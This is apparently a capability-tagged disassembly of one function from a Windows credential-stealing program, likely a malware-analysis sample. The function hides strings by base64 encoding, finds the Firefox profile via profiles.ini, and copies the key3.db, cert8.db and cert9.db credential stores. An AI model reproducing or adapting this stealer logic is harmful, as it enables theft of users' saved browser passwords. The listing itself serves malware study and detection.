Function at 0x404491
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a8
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.gecko
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_cull
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._sprintf_4
mov dword [esp + 4], 0x42a39e
lea eax, [ebp - 0x264]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x368]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov dword [ebp - 0x56d], 0x764a4863
mov dword [ebp - 0x569], 0x736c6d5a
mov dword [ebp - 0x565], 0x754d585a
mov dword [ebp - 0x561], 0x70355761
mov byte [ebp - 0x55d], 0
lea eax, [ebp - 0x574]
mov dword [esp + 4], eax
lea eax, [ebp - 0x56d]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a3a0
lea eax, [ebp - 0x55c]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0x55c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x368]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x368]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x404f4a
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a3a6
lea eax, [ebp - 0x784]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x784]
mov dword [esp + 4], eax
lea eax, [ebp - 0x55c]
mov dword [esp], eax
call sym._cpfl
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x578], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x578]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x578]
cmp dword [ebp - 0x1c], eax
je 0x4046cf
mov dword [esp], str.file_size_mismatch._n
call sym._printf_3
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [ebp - 0x591], 0x6d564752
mov dword [ebp - 0x58d], 0x73565859
mov dword [ebp - 0x589], 0x51314464
mov dword [ebp - 0x585], 0x6d396d63
mov dword [ebp - 0x581], 0x6c785761
mov dword [ebp - 0x57d], 0x3d387963
mov byte [ebp - 0x579], 0
lea eax, [ebp - 0x598]
mov dword [esp + 4], eax
lea eax, [ebp - 0x591]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x24], 0
je 0x404f4d
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
add dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x5b1], 0x6c526d4c
mov dword [ebp - 0x5ad], 0x31466d5a
mov dword [ebp - 0x5a9], 0x74514862
mov dword [ebp - 0x5a5], 0x73566d63
mov dword [ebp - 0x5a1], 0x7a46575a
mov dword [ebp - 0x59d], 0x3d3d515a
mov byte [ebp - 0x599], 0
lea eax, [ebp - 0x5b8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x5b1]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x404f50
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strncpy
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._fputs
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0xa
call sym._fputc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x5e1], 0x6c526d4c
mov dword [ebp - 0x5dd], 0x31466d5a
mov dword [ebp - 0x5d9], 0x74514862
mov dword [ebp - 0x5d5], 0x73566d63
mov dword [ebp - 0x5d1], 0x7a46575a
mov dword [ebp - 0x5cd], 0x7378565a
mov dword [ebp - 0x5c9], 0x70643262
mov dword [ebp - 0x5c5], 0x754d6e62
mov dword [ebp - 0x5c1], 0x764e6e61
mov dword [ebp - 0x5bd], 0x3d3d6762
mov byte [ebp - 0x5b9], 0
lea eax, [ebp - 0x5e8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x5e1]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._getfrfxf
mov dword [ebp - 0x34], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x404975
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_3
jmp 0x4049ff
mov dword [ebp - 0x6a1], 0x76783258
mov dword [ebp - 0x69d], 0x756c325a
mov dword [ebp - 0x699], 0x71357963
mov dword [ebp - 0x695], 0x75393263
mov byte [ebp - 0x691], 0
lea eax, [ebp - 0x6a8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6a1]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a3d9
lea eax, [ebp - 0x784]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x784]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._cpfl
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x609], 0x6c526d4c
mov dword [ebp - 0x605], 0x31466d5a
mov dword [ebp - 0x601], 0x74514862
mov dword [ebp - 0x5fd], 0x73566d63
mov dword [ebp - 0x5f9], 0x7a46575a
mov dword [ebp - 0x5f5], 0x7278565a
mov dword [ebp - 0x5f1], 0x306b585a
mov dword [ebp - 0x5ed], 0x69526d4c
mov byte [ebp - 0x5e9], 0
lea eax, [ebp - 0x610]
mov dword [esp + 4], eax
lea eax, [ebp - 0x609]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._getfrfxf
mov dword [ebp - 0x40], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x404aee
mov dword [esp], 0x42a3de
call sym._puts
jmp 0x404b83
mov dword [ebp - 0x6b5], 0x6c743258
mov dword [ebp - 0x6b1], 0x75515465
mov dword [ebp - 0x6ad], 0x3d49475a
mov byte [ebp - 0x6a9], 0
lea eax, [ebp - 0x6bc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6b5]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42a3d9
lea eax, [ebp - 0x784]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x784]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._cpfl
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x404b83
mov dword [esp], 0x42a3df
call sym._puts
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x631], 0x6c526d4c
mov dword [ebp - 0x62d], 0x31466d5a
mov dword [ebp - 0x629], 0x74514862
mov dword [ebp - 0x625], 0x73566d63
mov dword [ebp - 0x621], 0x7a46575a
mov dword [ebp - 0x61d], 0x7278565a
mov dword [ebp - 0x619], 0x7a6b585a
mov dword [ebp - 0x615], 0x69526d4c
mov byte [ebp - 0x611], 0
lea eax, [ebp - 0x638]
mov dword [esp + 4], eax
lea eax, [ebp - 0x631]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._getfrfxf
mov dword [ebp - 0x50], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x404caf
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_key3.db
lea eax, [ebp - 0x784]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x784]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._cpfl
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x404caf
mov dword [esp], 0x42a3de
call sym._puts
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x65d], 0x6c526d4c
mov dword [ebp - 0x659], 0x31466d5a
mov dword [ebp - 0x655], 0x74514862
mov dword [ebp - 0x651], 0x73566d63
mov dword [ebp - 0x64d], 0x7a46575a
mov dword [ebp - 0x649], 0x6a78565a
mov dword [ebp - 0x645], 0x304a585a
mov dword [ebp - 0x641], 0x6b35534f
mov dword [ebp - 0x63d], 0x3d3d6759
mov byte [ebp - 0x639], 0
lea eax, [ebp - 0x664]
mov dword [esp + 4], eax
lea eax, [ebp - 0x65d]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._getfrfxf
mov dword [ebp - 0x5c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x404dac
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_3
jmp 0x404dfa
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_cert9.db
lea eax, [ebp - 0x784]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x784]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._cpfl
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x404dfa
mov dword [esp], 0x42a3df
call sym._puts
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x689], 0x6c526d4c
mov dword [ebp - 0x685], 0x31466d5a
mov dword [ebp - 0x681], 0x74514862
mov dword [ebp - 0x67d], 0x73566d63
mov dword [ebp - 0x679], 0x7a46575a
mov dword [ebp - 0x675], 0x6a78565a
mov dword [ebp - 0x671], 0x304a585a
mov dword [ebp - 0x66d], 0x6b35434f
mov dword [ebp - 0x669], 0x3d3d6759
mov byte [ebp - 0x665], 0
lea eax, [ebp - 0x690]
mov dword [esp + 4], eax
lea eax, [ebp - 0x689]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x689]
mov dword [esp], eax
call sym._getfrfxf
mov dword [ebp - 0x68], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x404efa
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], str.File_not_found_at:__s__n
call sym._printf_3
jmp 0x404f51
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_cert8.db
lea eax, [ebp - 0x784]
mov dword [esp], eax
call sym._sprintf_4
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
lea eax, [ebp - 0x784]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._cpfl
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x404f51
mov dword [esp], 0x42a3df
call sym._puts
jmp 0x404f51
nop
jmp 0x404f51
nop
jmp 0x404f51
nop
leave
ret